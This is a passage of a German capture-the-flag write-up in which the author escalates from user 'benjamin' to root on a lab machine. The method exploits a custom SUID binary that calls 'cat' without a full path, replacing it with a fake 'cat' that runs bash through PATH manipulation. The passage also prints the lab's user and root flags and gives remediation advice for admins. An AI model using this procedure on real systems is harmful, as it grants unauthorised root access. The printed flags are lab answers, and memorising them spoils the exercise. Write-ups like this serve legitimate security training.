Analyse: Als `benjamin` suche ich erneut nach SUID-Dateien. Die Liste ähnelt der vorherigen, aber es gibt einen sehr auffälligen neuen Eintrag: `/usr/bin/chsn`. Diese Datei gehört `root`, hat aber die Gruppe `benjamin` und besitzt volle SUID/SGID-Berechtigungen (`-rwsrwx---`). Die Ausführungsrechte (`x`) für "others" fehlen, aber der Benutzer `benjamin` (als Mitglied der Gruppe `benjamin` oder durch die SUID/SGID-Bits) kann sie ausführen.
Bewertung: Das ist der wahrscheinlichste Vektor zur Rechteausweitung! Eine benutzerdefinierte SUID-Datei (`chsn`) ist extrem verdächtig. Die Berechtigungen (`rwsrwx---`) sind ungewöhnlich und potenziell unsicher. Wir müssen herausfinden, was diese Datei tut und wie sie ausgenutzt werden kann.
Empfehlung (Pentester): Führe `/usr/bin/chsn` aus und beobachte das Verhalten. Analysiere die Datei mit Tools wie `strings`, `ltrace`, `strace` oder einem Disassembler (Ghidra, IDA), um ihre Funktionsweise zu verstehen. Suche nach Möglichkeiten, ihre Ausführung zu manipulieren (z.B. durch Umgebungsvariablen, PATH-Manipulation, Race Conditions).
Empfehlung (Admin): Überprüfen Sie benutzerdefinierte SUID/SGID-Programme äußerst sorgfältig auf Sicherheitsprobleme. Entfernen Sie das SUID/SGID-Bit, wenn es nicht absolut notwendig ist. Verwenden Sie das Prinzip der geringsten Rechte. Die Berechtigungen `rwsrwx---` sind fast sicher falsch und sollten korrigiert werden (z.B. `rwsr-xr-x` oder `rwsr-x---`).
HMV{y0uR3gR34T}
Analyse: Als Benutzer `benjamin` lese ich die Datei `user.txt` in seinem Home-Verzeichnis aus.
Bewertung: Das User-Flag wurde gefunden.
Empfehlung (Pentester): Notiere das Flag und konzentriere dich auf die Rechteausweitung.
cat: /tmp/proc.txt: No such file or directory
cat: /tmp/proc.txt: No such file or directory
Analyse: Ich führe die verdächtige SUID-Datei `/usr/bin/chsn` aus. Sie gibt eine Fehlermeldung aus, dass `/tmp/proc.txt` nicht gefunden wurde und dass der Befehl `cat` fehlgeschlagen ist. Ein anschließender Versuch, `/tmp/proc.txt` manuell zu lesen, bestätigt, dass die Datei nicht existiert.
Bewertung: Das Verhalten von `chsn` ist nun klarer: Es versucht, `/tmp/proc.txt` mit dem Befehl `cat` auszugeben. Da `chsn` als SUID `root` läuft, wird auch der `cat`-Befehl implizit mit Root-Rechten ausgeführt. Entscheidend ist hier, dass `chsn` wahrscheinlich `cat` ohne Angabe des vollen Pfades (`/bin/cat`) aufruft.
Empfehlung (Pentester): Dies ist ein klassischer Fall für eine PATH-Manipulation. Erstelle ein eigenes Skript namens `cat` in einem Verzeichnis, auf das du Schreibzugriff hast (z.B. `/home/benjamin` oder `/tmp`). Gib diesem Skript den Inhalt `#!/bin/bash\nbash` (oder einfach `bash`), mache es ausführbar (`chmod +x cat`), füge das Verzeichnis, in dem sich dein Skript befindet, an den Anfang der `PATH`-Umgebungsvariable (`export PATH=/home/benjamin:$PATH`), und führe dann `chsn` erneut aus. `chsn` sollte nun dein manipuliertes `cat`-Skript anstelle des echten `/bin/cat` finden und ausführen, was dir eine Root-Shell gibt.
Empfehlung (Admin): Programme, die mit erhöhten Rechten laufen (SUID/SGID), sollten *immer* absolute Pfade für externe Befehle verwenden (z.B. `/bin/cat` statt `cat`). Überprüfen Sie den Code von `/usr/bin/chsn` und korrigieren Sie ihn oder entfernen Sie das SUID-Bit.
/home/benjamin/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Analyse: Ich führe die Schritte zur PATH-Manipulation aus: 1. `echo bash > cat`: Erstellt eine Datei namens `cat` im aktuellen Verzeichnis (`/home/benjamin`) mit dem Inhalt `bash`. 2. `chmod +x cat`: Macht diese Datei ausführbar. 3. `touch /tmp/proc.txt`: Erstellt die leere Datei `/tmp/proc.txt`, damit `chsn` keinen Fehler mehr wirft, bevor es unseren manipulierten `cat` aufruft. 4. `export PATH=/home/benjamin/:$PATH`: Stellt das aktuelle Verzeichnis (`/home/benjamin`) an den Anfang des Suchpfads für ausführbare Dateien. 5. `echo $PATH`: Bestätigt die Änderung des PATHs. 6. `chsn`: Führe das SUID-Programm erneut aus. Da `/home/benjamin` jetzt am Anfang des PATHs steht, findet `chsn` unsere gefälschte `cat`-Datei (die nur `bash` enthält) und führt sie als `root` aus. Dies resultiert sofort in einer Root-Shell, erkennbar am Prompt `root@versteckt:~#`.
Bewertung: Fantastisch! Die Rechteausweitung durch PATH-Manipulation war erfolgreich. Die unsichere Implementierung des SUID-Programms `chsn`, das `cat` ohne absoluten Pfad aufrief, war der Schlüssel.
Empfehlung (Pentester): Hole das Root-Flag. Dokumentiere den Exploit-Pfad.
Empfehlung (Admin): Beheben Sie die Schwachstelle in `chsn` (absoluten Pfad verwenden) oder entfernen Sie das SUID-Bit. Überprüfen Sie alle anderen SUID/SGID-Programme auf ähnliche Schwachstellen.
HMV{y0uR3D3fin1t3lytH3b3S7}
Analyse: Als `root` lese ich die Datei `root.txt` im `/root`-Verzeichnis mit `tail` aus (zeigt standardmäßig die letzten 10 Zeilen, `-n 100` ist hier überflüssig, da das Flag kurz ist, aber funktioniert).
Bewertung: Das Root-Flag wurde erfolgreich gefunden.
Empfehlung (Pentester): Ziel erreicht. Dokumentation abschließen.
x.X.x..Game..Over..x.X.x